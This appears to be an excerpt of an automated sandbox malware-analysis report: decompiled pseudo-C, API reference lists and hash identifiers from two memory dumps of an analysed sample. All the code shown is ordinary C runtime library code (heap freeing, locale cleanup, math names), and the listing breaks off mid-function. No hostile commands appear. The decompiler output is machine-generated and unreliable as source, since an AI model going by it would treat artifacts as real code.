GetCPInfo.KERNEL32(?,?), ref: 0040AF58

Part of subcall function 00412A43: _free.LIBCMT ref: 00412AAE

_free.LIBCMT ref: 0040B1C3
_free.LIBCMT ref: 0040B1D6
_free.LIBCMT ref: 0040B1E4
_free.LIBCMT ref: 0040B1EF
_free.LIBCMT ref: 0040B231
_free.LIBCMT ref: 0040B239
_free.LIBCMT ref: 0040B23F
_free.LIBCMT ref: 0040B247
_free.LIBCMT ref: 0040B255

Memory Dump Source

Source File: 00000001.00000002.259896654.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.259896654.000000000044E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.259896654.0000000000456000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_11.jbxd

Yara matches

Similarity

API ID: _free$Info
String ID:
API String ID: 2509303402-0
Opcode ID: 8b50a4310c5df3ae6a689dc4af9f19f702d243e5ac41cc7e4ffaac471bd7aff1
Instruction ID: 62f6b01933a0a840502c49b41c033a9a4a95324cf8ce9971b2fc4d4fa1daf334
Opcode Fuzzy Hash: 8b50a4310c5df3ae6a689dc4af9f19f702d243e5ac41cc7e4ffaac471bd7aff1
Instruction Fuzzy Hash: 56D18B719002059FDB21DFA9C881BEEBBB5FF08304F14447EE895BB292D779A845CB58

Uniqueness

Uniqueness Score: -1.00%

Function 0270B2B3 Relevance: 22.9, APIs: 15, Instructions: 357COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0270B322
_free.LIBCMT ref: 0270B338
_free.LIBCMT ref: 0270B34B
_free.LIBCMT ref: 0270B360
_free.LIBCMT ref: 0270B375
GetCPInfo.KERNEL32(?,?), ref: 0270B3BF

Part of subcall function 02712EAA: _free.LIBCMT ref: 02712F15

_free.LIBCMT ref: 0270B62A
_free.LIBCMT ref: 0270B63D
_free.LIBCMT ref: 0270B64B
_free.LIBCMT ref: 0270B656
_free.LIBCMT ref: 0270B698
_free.LIBCMT ref: 0270B6A0
_free.LIBCMT ref: 0270B6A6
_free.LIBCMT ref: 0270B6AE
_free.LIBCMT ref: 0270B6BC

Memory Dump Source

Source File: 00000001.00000002.260434500.0000000002700000.00000040.00001000.00020000.00000000.sdmp, Offset: 02700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2700000_11.jbxd

Yara matches

Similarity

API ID: _free$Info
String ID:
API String ID: 2509303402-0
Opcode ID: 9ee924776507afd57a64ed7d24f6cb45bc33f982636ce27a45a55fa4911c8da5
Instruction ID: c56b4c16e4e59f978391bc65302faf044b6470cfd95ae4fe57f5bf5e930fc4d9
Opcode Fuzzy Hash: 9ee924776507afd57a64ed7d24f6cb45bc33f982636ce27a45a55fa4911c8da5
Instruction Fuzzy Hash: 60D18C71A00305DFDB22CFB9C884BAEBBF5BF48304F144569E495AB291DB71A949CB60

Uniqueness

Uniqueness Score: -1.00%

Function 004179D5 Relevance: 19.6, APIs: 13, Instructions: 113
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E004179D5(intOrPtr _a4) {
				intOrPtr _v8;
				intOrPtr _t25;
				intOrPtr* _t26;
				intOrPtr _t28;
				intOrPtr* _t29;
				intOrPtr* _t31;
				intOrPtr* _t45;
				intOrPtr* _t46;
				intOrPtr* _t47;
				intOrPtr* _t55;
				intOrPtr* _t70;
				intOrPtr _t74;

				_t74 = _a4;
				_t25 =  *((intOrPtr*)(_t74 + 0x88));
				if(_t25 != 0 && _t25 != 0x42c120) {
					_t45 =  *((intOrPtr*)(_t74 + 0x7c));
					if(_t45 != 0 &&  *_t45 == 0) {
						_t46 =  *((intOrPtr*)(_t74 + 0x84));
						if(_t46 != 0 &&  *_t46 == 0) {
							E0040F644(_t46);
							E00416C81( *((intOrPtr*)(_t74 + 0x88)));
						}
						_t47 =  *((intOrPtr*)(_t74 + 0x80));
						if(_t47 != 0 &&  *_t47 == 0) {
							E0040F644(_t47);
							E00417135( *((intOrPtr*)(_t74 + 0x88)));
						}
						E0040F644( *((intOrPtr*)(_t74 + 0x7c)));
						E0040F644( *((intOrPtr*)(_t74 + 0x88)));
					}
				}
				_t26 =  *((intOrPtr*)(_t74 + 0x8c));
				if(_t26 != 0 &&  *_t26 == 0) {
					E0040F644( *((intOrPtr*)(_t74 + 0x90)) - 0xfe);
					E0040F644( *((intOrPtr*)(_t74 + 0x94)) - 0x80);
					E0040F644( *((intOrPtr*)(_t74 + 0x98)) - 0x80);
					E0040F644( *((intOrPtr*)(_t74 + 0x8c)));
				}
				E00417B46( *((intOrPtr*)(_t74 + 0x9c)));
				_t28 = 6;
				_t55 = _t74 + 0xa0;
				_v8 = _t28;
				_t70 = _t74 + 0x28;
				do {
					if( *((intOrPtr*)(_t70 - 8)) != 0x42c2a0) {
						_t31 =  *_t70;
						if(_t31 != 0 &&  *_t31 == 0) {
							E0040F644(_t31);
							E0040F644( *_t55);
						}
						_t28 = _v8;
					}
					if( *((intOrPtr*)(_t70 - 0xc)) != 0) {
						_t29 =  *((intOrPtr*)(_t70 - 4));
						if(_t29 != 0 &&  *_t29 == 0) {
							E0040F644(_t29);
						}
						_t28 = _v8;
					}
					_t55 = _t55 + 4;
					_t70 = _t70 + 0x10;
					_t28 = _t28 - 1;
					_v8 = _t28;
				} while (_t28 != 0);
				return E0040F644(_t74);
			}

0x004179dd
0x004179e1
0x004179e9
0x004179f2
0x004179f7
0x004179fe
0x00417a06
0x00417a0e
0x00417a19
0x00417a1f
0x00417a20
0x00417a28
0x00417a30
0x00417a3b
0x00417a41
0x00417a45
0x00417a50
0x00417a56
0x004179f7
0x00417a57
0x00417a5f
0x00417a72
0x00417a85
0x00417a93
0x00417a9e
0x00417aa3
0x00417aac
0x00417ab4
0x00417ab5
0x00417abb
0x00417abe
0x00417ac1
0x00417ac8
0x00417aca
0x00417ace
0x00417ad6
0x00417add
0x00417ae3
0x00417ae4
0x00417ae4
0x00417aeb
0x00417aed
0x00417af2
0x00417afa
0x00417aff
0x00417b00
0x00417b00
0x00417b03
0x00417b06
0x00417b09
0x00417b0c
0x00417b0c
0x00417b1c

APIs

___free_lconv_mon.LIBCMT ref: 00417A19

Part of subcall function 00416C81: _free.LIBCMT ref: 00416C9E
Part of subcall function 00416C81: _free.LIBCMT ref: 00416CB0
Part of subcall function 00416C81: _free.LIBCMT ref: 00416CC2
Part of subcall function 00416C81: _free.LIBCMT ref: 00416CD4
Part of subcall function 00416C81: _free.LIBCMT ref: 00416CE6
Part of subcall function 00416C81: _free.LIBCMT ref: 00416CF8
Part of subcall function 00416C81: _free.LIBCMT ref: 00416D0A
Part of subcall function 00416C81: _free.LIBCMT ref: 00416D1C
Part of subcall function 00416C81: _free.LIBCMT ref: 00416D2E
Part of subcall function 00416C81: _free.LIBCMT ref: 00416D40
Part of subcall function 00416C81: _free.LIBCMT ref: 00416D52
Part of subcall function 00416C81: _free.LIBCMT ref: 00416D64
Part of subcall function 00416C81: _free.LIBCMT ref: 00416D76

_free.LIBCMT ref: 00417A0E

Part of subcall function 0040F644: HeapFree.KERNEL32(00000000,00000000,?,004173D6,?,00000000,?,?,?,00417679,?,00000007,?,?,00417B6C,?), ref: 0040F65A
Part of subcall function 0040F644: GetLastError.KERNEL32(?,?,004173D6,?,00000000,?,?,?,00417679,?,00000007,?,?,00417B6C,?,?), ref: 0040F66C

_free.LIBCMT ref: 00417A30
_free.LIBCMT ref: 00417A45
_free.LIBCMT ref: 00417A50
_free.LIBCMT ref: 00417A72
_free.LIBCMT ref: 00417A85
_free.LIBCMT ref: 00417A93
_free.LIBCMT ref: 00417A9E
_free.LIBCMT ref: 00417AD6
_free.LIBCMT ref: 00417ADD
_free.LIBCMT ref: 00417AFA
_free.LIBCMT ref: 00417B12

Memory Dump Source

Source File: 00000001.00000002.259896654.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.259896654.000000000044E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.259896654.0000000000456000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_11.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 860e7fe1bf9a3acb6fc23d3a98c258980b26823a6f15ce581619e2b370022c1b
Instruction ID: 0e01eef875562174eb6bd47e5306ab0c7c003668eb1fc55913793d8965cdfb7b
Opcode Fuzzy Hash: 860e7fe1bf9a3acb6fc23d3a98c258980b26823a6f15ce581619e2b370022c1b
Instruction Fuzzy Hash: B0315E316082009FDB31AA39D846B9B77F9AF10358F14483BE449E66A1DF39F985C71C

Uniqueness

Uniqueness Score: -1.00%

Function 02717E3C Relevance: 19.6, APIs: 13, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 02717E80

Part of subcall function 027170E8: _free.LIBCMT ref: 02717105
Part of subcall function 027170E8: _free.LIBCMT ref: 02717117
Part of subcall function 027170E8: _free.LIBCMT ref: 02717129
Part of subcall function 027170E8: _free.LIBCMT ref: 0271713B
Part of subcall function 027170E8: _free.LIBCMT ref: 0271714D
Part of subcall function 027170E8: _free.LIBCMT ref: 0271715F
Part of subcall function 027170E8: _free.LIBCMT ref: 02717171
Part of subcall function 027170E8: _free.LIBCMT ref: 02717183
Part of subcall function 027170E8: _free.LIBCMT ref: 02717195
Part of subcall function 027170E8: _free.LIBCMT ref: 027171A7
Part of subcall function 027170E8: _free.LIBCMT ref: 027171B9
Part of subcall function 027170E8: _free.LIBCMT ref: 027171CB
Part of subcall function 027170E8: _free.LIBCMT ref: 027171DD

_free.LIBCMT ref: 02717E75

Part of subcall function 0270FAAB: HeapFree.KERNEL32(00000000,00000000,?,0271783D,?,00000000,?,?,?,02717AE0,?,00000007,?,?,02717FD3,?), ref: 0270FAC1
Part of subcall function 0270FAAB: GetLastError.KERNEL32(?,?,0271783D,?,00000000,?,?,?,02717AE0,?,00000007,?,?,02717FD3,?,?), ref: 0270FAD3

_free.LIBCMT ref: 02717E97
_free.LIBCMT ref: 02717EAC
_free.LIBCMT ref: 02717EB7
_free.LIBCMT ref: 02717ED9
_free.LIBCMT ref: 02717EEC
_free.LIBCMT ref: 02717EFA
_free.LIBCMT ref: 02717F05
_free.LIBCMT ref: 02717F3D
_free.LIBCMT ref: 02717F44
_free.LIBCMT ref: 02717F61
_free.LIBCMT ref: 02717F79

Memory Dump Source

Source File: 00000001.00000002.260434500.0000000002700000.00000040.00001000.00020000.00000000.sdmp, Offset: 02700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2700000_11.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 860e7fe1bf9a3acb6fc23d3a98c258980b26823a6f15ce581619e2b370022c1b
Instruction ID: 04ca7ce71bf64af169e46b4f4fdeebcc1fd8a363d13c7fb01228711c6b3b0bc6
Opcode Fuzzy Hash: 860e7fe1bf9a3acb6fc23d3a98c258980b26823a6f15ce581619e2b370022c1b
Instruction Fuzzy Hash: 06316071600701DFEB3AAA7DD888B5BB7EAEF41350F108819E055DB5A0DF30E989CB65

Uniqueness

Uniqueness Score: -1.00%

Function 00416D7F Relevance: 18.4, APIs: 12, Instructions: 373
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E00416D7F(void* __edx, char _a4) {
				void* _v8;
				void* _v12;
				signed int _v16;
				intOrPtr* _v20;
				signed int _v24;
				char _v28;
				signed int _t106;
				signed int _t116;
				signed int _t118;
				signed int _t122;
				signed int _t126;
				signed int _t130;
				signed int _t134;
				signed int _t138;
				signed int _t142;
				signed int _t146;
				signed int _t150;
				signed int _t154;
				signed int _t158;
				signed int _t162;
				signed int _t166;
				signed int _t170;
				signed int _t174;
				signed int _t178;
				signed int _t182;
				signed int _t186;
				signed int _t190;
				char _t196;
				char _t209;
				signed int _t212;
				char _t221;
				char _t222;
				void* _t225;
				char* _t227;
				signed int _t228;
				signed int _t232;
				signed int _t233;
				intOrPtr _t234;
				void* _t235;
				void* _t237;
				char* _t258;

				_t225 = __edx;
				_t209 = _a4;
				_v16 = 0;
				_v28 = _t209;
				_v24 = 0;
				if( *((intOrPtr*)(_t209 + 0xac)) != 0 ||  *((intOrPtr*)(_t209 + 0xb0)) != 0) {
					_t235 = E0040FEA9(1, 0x50);
					_v8 = _t235;
					E0040F644(0);
					if(_t235 != 0) {
						_t228 = E0040FEA9(1, 4);
						_v12 = _t228;
						E0040F644(0);
						if(_t228 != 0) {
							if( *((intOrPtr*)(_t209 + 0xac)) == 0) {
								_t212 = 0x14;
								memcpy(_v8, 0x42c120, _t212 << 2);
								L24:
								_t237 = _v8;
								_t232 = _v16;
								 *_t237 =  *( *(_t209 + 0x88));
								 *((intOrPtr*)(_t237 + 4)) =  *((intOrPtr*)( *(_t209 + 0x88) + 4));
								 *((intOrPtr*)(_t237 + 8)) =  *((intOrPtr*)( *(_t209 + 0x88) + 8));
								 *((intOrPtr*)(_t237 + 0x30)) =  *((intOrPtr*)( *(_t209 + 0x88) + 0x30));
								 *((intOrPtr*)(_t237 + 0x34)) =  *((intOrPtr*)( *(_t209 + 0x88) + 0x34));
								 *_v12 = 1;
								if(_t232 != 0) {
									 *_t232 = 1;
								}
								goto L26;
							}
							_t233 = E0040FEA9(1, 4);
							_v16 = _t233;
							E0040F644(0);
							if(_t233 != 0) {
								_t234 =  *((intOrPtr*)(_t209 + 0xac));
								_t14 = _t235 + 0xc; // 0xc
								_t116 = E00412A43(_t225);
								_t118 = E00412A43(_t225,  &_v28, 1, _t234, 0x14, _v8 + 0x10,  &_v28);
								_t122 = E00412A43(_t225,  &_v28, 1, _t234, 0x16, _v8 + 0x14, 1);
								_t126 = E00412A43(_t225,  &_v28, 1, _t234, 0x17, _v8 + 0x18, _t234);
								_v20 = _v8 + 0x1c;
								_t130 = E00412A43(_t225,  &_v28, 1, _t234, 0x18, _v8 + 0x1c, 0x15);
								_t134 = E00412A43(_t225,  &_v28, 1, _t234, 0x50, _v8 + 0x20, _t14);
								_t138 = E00412A43(_t225);
								_t142 = E00412A43(_t225,  &_v28, 0, _t234, 0x1a, _v8 + 0x28,  &_v28);
								_t146 = E00412A43(_t225,  &_v28, 0, _t234, 0x19, _v8 + 0x29, 1);
								_t150 = E00412A43(_t225,  &_v28, 0, _t234, 0x54, _v8 + 0x2a, _t234);
								_t154 = E00412A43(_t225,  &_v28, 0, _t234, 0x55, _v8 + 0x2b, 0x51);
								_t158 = E00412A43(_t225,  &_v28, 0, _t234, 0x56, _v8 + 0x2c, _v8 + 0x24);
								_t162 = E00412A43(_t225);
								_t166 = E00412A43(_t225,  &_v28, 0, _t234, 0x52, _v8 + 0x2e,  &_v28);
								_t170 = E00412A43(_t225,  &_v28, 0, _t234, 0x53, _v8 + 0x2f, 0);
								_t174 = E00412A43(_t225,  &_v28, 2, _t234, 0x15, _v8 + 0x38, _t234);
								_t178 = E00412A43(_t225,  &_v28, 2, _t234, 0x14, _v8 + 0x3c, 0x57);
								_t182 = E00412A43(_t225,  &_v28, 2, _t234, 0x16, _v8 + 0x40, _v8 + 0x2d);
								_push(_v8 + 0x44);
								_push(0x17);
								_push(_t234);
								_t186 = E00412A43(_t225);
								_t190 = E00412A43(_t225,  &_v28, 2, _t234, 0x50, _v8 + 0x48,  &_v28);
								if((E00412A43(_t225,  &_v28, 2, _t234, 0x51, _v8 + 0x4c, 2) | _t116 | _t118 | _t122 | _t126 | _t130 | _t134 | _t138 | _t142 | _t146 | _t150 | _t154 | _t158 | _t162 | _t166 | _t170 | _t174 | _t178 | _t182 | _t186 | _t190) == 0) {
									_t227 =  *_v20;
									while(1) {
										_t196 =  *_t227;
										if(_t196 == 0) {
											break;
										}
										_t61 = _t196 - 0x30; // -48
										_t221 = _t61;
										if(_t221 > 9) {
											if(_t196 != 0x3b) {
												L16:
												_t227 = _t227 + 1;
												continue;
											}
											_t258 = _t227;
											do {
												_t222 =  *((intOrPtr*)(_t258 + 1));
												 *_t258 = _t222;
												_t258 = _t258 + 1;
											} while (_t222 != 0);
											continue;
										}
										 *_t227 = _t221;
										goto L16;
									}
									goto L24;
								}
								E00416C81(_v8);
								E0040F644(_v8);
								E0040F644(_v12);
								E0040F644(_v16);
								goto L4;
							}
							E0040F644(_t235);
							E0040F644(_v12);
							L7:
							goto L4;
						}
						E0040F644(_t235);
						goto L7;
					}
					L4:
					return 1;
				} else {
					_t232 = 0;
					_v12 = 0;
					_t237 = 0x42c120;
					L26:
					_t106 =  *(_t209 + 0x84);
					if(_t106 != 0) {
						asm("lock dec dword [eax]");
					}
					if( *((intOrPtr*)(_t209 + 0x7c)) != 0) {
						asm("lock xadd [ecx], eax");
						if((_t106 | 0xffffffff) == 0) {
							E0040F644( *(_t209 + 0x88));
							E0040F644( *((intOrPtr*)(_t209 + 0x7c)));
						}
					}
					 *((intOrPtr*)(_t209 + 0x7c)) = _v12;
					 *(_t209 + 0x84) = _t232;
					 *(_t209 + 0x88) = _t237;
					return 0;
				}
			}

0x00416d7f
0x00416d88
0x00416d8f
0x00416d92
0x00416d95
0x00416d9e
0x00416dc0
0x00416dc4
0x00416dc7
0x00416dd1
0x00416de4
0x00416de8
0x00416deb
0x00416df5
0x00416e07
0x00417099
0x0041709a
0x0041709c
0x004170a4
0x004170a8
0x004170ad
0x004170b8
0x004170c4
0x004170d0
0x004170dc
0x004170e2
0x004170e6
0x004170e8
0x004170e8
0x00000000
0x004170e6
0x00416e16
0x00416e1a
0x00416e1d
0x00416e27
0x00416e3b
0x00416e41
0x00416e4e
0x00416e65
0x00416e7c
0x00416e93
0x00416ea3
0x00416eb0
0x00416ec7
0x00416ede
0x00416ef5
0x00416f0f
0x00416f26
0x00416f3d
0x00416f54
0x00416f6e
0x00416f85
0x00416f9c
0x00416fb3
0x00416fcd
0x00416fe4
0x00416ff1
0x00416ff2
0x00416ff4
0x00416ffb
0x00417012
0x00417036
0x00417064
0x00417073
0x00417073
0x00417077
0x00000000
0x00000000
0x00417068
0x00417068
0x0041706e
0x0041707d
0x00417072
0x00417072
0x00000000
0x00417072
0x0041707f
0x00417081
0x00417081
0x00417084
0x00417086
0x00417089
0x00000000
0x0041708d
0x00417070
0x00000000
0x00417070
0x00000000
0x00417079
0x0041703c
0x00417042
0x0041704b
0x00417054
0x00000000
0x00417059
0x00416e2a
0x00416e33
0x00416dfd
0x00000000
0x00416dfd
0x00416df8
0x00000000
0x00416df8
0x00416dd3
0x00000000
0x00416da8
0x00416da8
0x00416daa
0x00416dad
0x004170ea
0x004170ea
0x004170f2
0x004170f4
0x004170f4
0x004170fc
0x00417101
0x00417105
0x0041710d
0x00417115
0x0041711b
0x00417105
0x0041711f
0x00417124
0x0041712a
0x00000000
0x0041712a

APIs

_free.LIBCMT ref: 00416DC7
_free.LIBCMT ref: 00416DEB
_free.LIBCMT ref: 00416DF8
_free.LIBCMT ref: 00416E1D
_free.LIBCMT ref: 00416E2A
_free.LIBCMT ref: 00416E33
_free.LIBCMT ref: 0041710D
_free.LIBCMT ref: 00417115

Memory Dump Source

Source File: 00000001.00000002.259896654.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.259896654.000000000044E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.259896654.0000000000456000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_11.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: c7e95f6004b65ba6039ba0bc83284cfa7b142fb89b7895a12522901a212090d3
Instruction ID: 112dea8e2ffc6a9566181cffa007a2b2f9e5e57b64c8f87c0beff0267d6f4b7f
Opcode Fuzzy Hash: c7e95f6004b65ba6039ba0bc83284cfa7b142fb89b7895a12522901a212090d3
Instruction Fuzzy Hash: 39C15871E40204ABDB20DBA9CD42FDF77F89F08744F14416AFA04FB292D674DA819768

Uniqueness

Uniqueness Score: -1.00%

Function 004194AB Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 147COMMON

Download Yara Rule

APIs

DecodePointer.KERNEL32(?,?,?,?,?,?,?,?,?,0040F5B3), ref: 004194C4

Strings

asin, xrefs: 004195F1
sqrt, xrefs: 00419603
acos, xrefs: 004195FA
Z7@, xrefs: 0041958E, 00419638, 0041967E
pow, xrefs: 00419562, 0041960C, 00419659
log10, xrefs: 00419506, 00419515
log, xrefs: 00419521, 00419530
exp, xrefs: 00419543, 004195A8

Memory Dump Source

Source File: 00000001.00000002.259896654.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.259896654.000000000044E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.259896654.0000000000456000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_11.jbxd

Yara matches

Similarity

API ID: DecodePointer
String ID: Z7@$acos$asin$exp$log$log10$pow$sqrt
API String ID: 3527080286-1614645711
Opcode ID: 953452acc86a83138e13896df286c5f118ee1c8902615aff017a8d6c327c43ac
Instruction ID: 5e1cc6763a04e0cda219334dbc4fb2c8eaff99373ed40e4732ba0286d6eef73f
Opcode Fuzzy Hash: 953452acc86a83138e13896df286c5f118ee1c8902615aff017a8d6c327c43ac
Instruction Fuzzy Hash: B251AC7190061ADBCF109F69E95C2EE7BB0FB44304F41805BE481A7255CB7C8DA5CB6D

Uniqueness

Uniqueness Score: -1.00%

Function 0040EC58 Relevance: 15.1, APIs: 10, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E0040EC58(void* __ebx, void* __edi, void* __esi, char _a4) {
				void* _v5;
				char _v12;
				char _v16;
				char _v20;
				void* __ebp;
				char _t55;
				char _t61;
				void* _t67;
				intOrPtr _t68;
				void* _t72;
				void* _t73;

				_t73 = __esi;
				_t72 = __edi;
				_t67 = __ebx;
				_t36 = _a4;
				_t68 =  *_a4;
				_t77 = _t68 - 0x41f510;
				if(_t68 != 0x41f510) {
					E0040F644(_t68);
					_t36 = _a4;
				}
				E0040F644( *((intOrPtr*)(_t36 + 0x3c)));
				E0040F644( *((intOrPtr*)(_a4 + 0x30)));
				E0040F644( *((intOrPtr*)(_a4 + 0x34)));
				E0040F644( *((intOrPtr*)(_a4 + 0x38)));
				E0040F644( *((intOrPtr*)(_a4 + 0x28)));
				E0040F644( *((intOrPtr*)(_a4 + 0x2c)));
				E0040F644( *((intOrPtr*)(_a4 + 0x40)));
				E0040F644( *((intOrPtr*)(_a4 + 0x44)));
				E0040F644( *((intOrPtr*)(_a4 + 0x360)));
				_v16 =  &_a4;
				_t55 = 5;
				_v12 = _t55;
				_v20 = _t55;
				_push( &_v12);
				_push( &_v16);
				_push( &_v20);
				E0040EA84(_t67, _t72, _t73, _t77);
				_v16 =  &_a4;
				_t61 = 4;
				_v20 = _t61;
				_v12 = _t61;
				_push( &_v20);
				_push( &_v16);
				_push( &_v12);
				return E0040EAEF(_t67, _t72, _t73, _t77);
			}

0x0040ec58
0x0040ec58
0x0040ec58
0x0040ec5d
0x0040ec63
0x0040ec65
0x0040ec6b
0x0040ec6e
0x0040ec73
0x0040ec76
0x0040ec7a
0x0040ec85
0x0040ec90
0x0040ec9b
0x0040eca6
0x0040ecb1
0x0040ecbc
0x0040ecc7
0x0040ecd5
0x0040ece0
0x0040ece8
0x0040ece9
0x0040ecec
0x0040ecf2
0x0040ecf6
0x0040ecfa
0x0040ecfb
0x0040ed05
0x0040ed0b
0x0040ed0c
0x0040ed0f
0x0040ed15
0x0040ed19
0x0040ed1d
0x0040ed24

APIs

_free.LIBCMT ref: 0040EC6E

Part of subcall function 0040F644: HeapFree.KERNEL32(00000000,00000000,?,004173D6,?,00000000,?,?,?,00417679,?,00000007,?,?,00417B6C,?), ref: 0040F65A
Part of subcall function 0040F644: GetLastError.KERNEL32(?,?,004173D6,?,00000000,?,?,?,00417679,?,00000007,?,?,00417B6C,?,?), ref: 0040F66C

_free.LIBCMT ref: 0040EC7A
_free.LIBCMT ref: 0040EC85
_free.LIBCMT ref: 0040EC90
_free.LIBCMT ref: 0040EC9B
_free.LIBCMT ref: 0040ECA6
_free.LIBCMT ref: 0040ECB1
_free.LIBCMT ref: 0040ECBC
_free.LIBCMT ref: 0040ECC7
_free.LIBCMT ref: 0040ECD5

Memory Dump Source

Source File: 00000001.00000002.259896654.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.259896654.000000000044E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.259896654.0000000000456000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_11.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 0593b16e26b2348a691391480b9d55eac0776695d5e23cad10df8186e3901237
Instruction ID: eb8ae6d28e6cb287c4187afeaa5abf6ba0efc604998016e1b52c14b49cadb334
Opcode Fuzzy Hash: 0593b16e26b2348a691391480b9d55eac0776695d5e23cad10df8186e3901237
Instruction Fuzzy Hash: C621EAB6900108AFCF11EF95C842DDE7BB8BF08344F00457AF915AB561EB36EA59CB84

Uniqueness

Uniqueness Score: -1.00%

Function 0270F0BF Relevance: 15.1, APIs: 10, Instructions: 69COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0270F0D5

Part of subcall function 0270FAAB: HeapFree.KERNEL32(00000000,00000000,?,0271783D,?,00000000,?,?,?,02717AE0,?,00000007,?,?,02717FD3,?), ref: 0270FAC1
Part of subcall function 0270FAAB: GetLastError.KERNEL32(?,?,0271783D,?,00000000,?,?,?,02717AE0,?,00000007,?,?,02717FD3,?,?), ref: 0270FAD3

_free.LIBCMT ref: 0270F0E1
_free.LIBCMT ref: 0270F0EC
_free.LIBCMT ref: 0270F0F7
_free.LIBCMT ref: 0270F102
_free.LIBCMT ref: 0270F10D
_free.LIBCMT ref: 0270F118
_free.LIBCMT ref: 0270F123
_free.LIBCMT ref: 0270F12E
_free.LIBCMT ref: 0270F13C

Memory Dump Source

Source File: 00000001.00000002.260434500.0000000002700000.00000040.00001000.00020000.00000000.sdmp, Offset: 02700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2700000_11.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 0593b16e26b2348a691391480b9d55eac0776695d5e23cad10df8186e3901237
Instruction ID: 942de0bb6e730f2d8d4686fb9738ef77ff6c05828a5069d6753022600bd9f8ac
Opcode Fuzzy Hash: 0593b16e26b2348a691391480b9d55eac0776695d5e23cad10df8186e3901237
Instruction Fuzzy Hash: 3421D8B6910108EFCB52EF95C8C4CDE7BFAAF88340F008566E5159B560DB31EA49CF95

Uniqueness

Uniqueness Score: -1.00%

Function 0041A013 Relevance: 13.8, APIs: 9, Instructions: 301
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E0041A013(signed int _a4, void* _a8, unsigned int _a12) {
				char _v5;
				signed int _v12;
				unsigned int _v16;
				signed int _v20;
				void* _v24;
				void* _v28;
				long _v32;
				char _v36;
				void* _v40;
				long _v44;
				signed int* _t137;
				signed int _t139;
				intOrPtr _t143;
				unsigned int _t154;
				intOrPtr _t158;
				signed int _t160;
				signed int _t163;
				long _t164;
				intOrPtr _t169;
				signed int _t170;
				intOrPtr _t172;
				signed int _t174;
				signed int _t178;
				void _t180;
				char _t185;
				char _t190;
				signed int _t198;
				signed int _t199;
				signed int _t200;
				signed int _t207;
				long _t210;
				unsigned int _t212;
				intOrPtr _t214;
				unsigned int _t217;
				signed int _t219;
				signed int _t220;
				signed int _t221;
				signed int _t222;
				signed char _t224;
				char _t226;
				signed int _t228;
				void* _t229;
				signed int _t230;
				char* _t231;
				char* _t232;
				signed int _t235;
				signed int _t236;
				void* _t240;
				void* _t242;
				void* _t243;

				_t198 = _a4;
				_t246 = _t198 - 0xfffffffe;
				if(_t198 != 0xfffffffe) {
					__eflags = _t198;
					if(__eflags < 0) {
						L59:
						_t137 = E00409379(__eflags);
						 *_t137 =  *_t137 & 0x00000000;
						__eflags =  *_t137;
						 *((intOrPtr*)(E0040938C( *_t137))) = 9;
						L60:
						_t139 = E004092B2();
						goto L61;
					}
					__eflags = _t198 -  *0x4584c0; // 0x40
					if(__eflags >= 0) {
						goto L59;
					}
					_t207 = _t198 >> 6;
					_t235 = (_t198 & 0x0000003f) * 0x38;
					_v12 = _t207;
					_t143 =  *((intOrPtr*)(0x4582c0 + _t207 * 4));
					_v20 = _t235;
					_v36 = 1;
					_t224 =  *((intOrPtr*)(_t143 + _t235 + 0x28));
					__eflags = 1 & _t224;
					if(__eflags == 0) {
						goto L59;
					}
					_t210 = _a12;
					__eflags = _t210 - 0x7fffffff;
					if(__eflags <= 0) {
						__eflags = _t210;
						if(_t210 == 0) {
							L58:
							return 0;
						}
						__eflags = _t224 & 0x00000002;
						if((_t224 & 0x00000002) != 0) {
							goto L58;
						}
						__eflags = _a8;
						if(__eflags == 0) {
							goto L6;
						}
						_v28 =  *((intOrPtr*)(_t143 + _t235 + 0x18));
						_t226 =  *((intOrPtr*)(_t143 + _t235 + 0x29));
						_v5 = _t226;
						_t240 = 0;
						_t228 = _t226 - 1;
						__eflags = _t228;
